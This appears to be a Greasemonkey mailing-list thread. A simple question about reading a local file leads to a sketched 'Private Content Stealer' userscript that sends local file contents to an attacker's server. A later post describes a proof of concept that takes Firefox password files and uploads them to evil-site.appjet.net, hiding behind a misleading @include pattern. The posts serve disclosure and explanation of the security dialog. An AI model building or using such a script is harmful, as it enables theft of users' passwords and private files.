If yes: Could you give a sample code to read e.g. the first and second line of a text file from
D:\myproj\greaseparm.txt
and assign them to the greasemonkey script variables
var first = ....
and
var second = ....
Thank you
Ben
No.
Imagine I am a malicious script author.
// ==UserScript==
// @name Private Content Stealer
// @include *
// ==/UserScript==
if ('file:'==document.location.protocol) {
// Transmit private data to my server!
GM_xmlhttpRequest(...);
} else {
// Make an iframe to a private file, which I will run on.
createHiddenIframe('file:///a/file/with/private/contents/here.txt');
}
Private files stolen. This is why there is a security dialog, which
presents the @include rules to you, before you install.
I was waiting until some changes suggested by Aaron were implemented
that would affect the way script are tell were to run on.
Unfortunately these efforts went to no end.
Since this is already public, I can provide a proof of concept. The
initial inspiration came from a script of a japanese hacker that used
a trick to read your profile folder from a Greasemonkey script. I
used the idea to craft a script that would take your FF password files
and send it to a remote server. My intention was to make this as
unnoticed as possible, but there are a number of technical problems
that (fortunately) prevent the script from totally hiding the script
malicious actions.
Attached you' find the script. It is Windows only because it relies in
the windows file path structure. It can be easily adapted to other OS.
My first version was for text files only. This version is capable of
stealing binary files as well.
In the script I'm using some other techniques such as inducing a naive
user to think that the script runs only on a given domain by using
something like @include *.wikipedia.og, while in reality the script
can be triggered by loading file://something/else#foo.wikipedia.org as
well.
Note: the script uses a server side script of mine at
http://evil-site.appjet.net/ for receiving the stolen files.
Unfortunately appjet discontinued this service starting on July 1st
2009. The script it still illustrative.
Enjoy.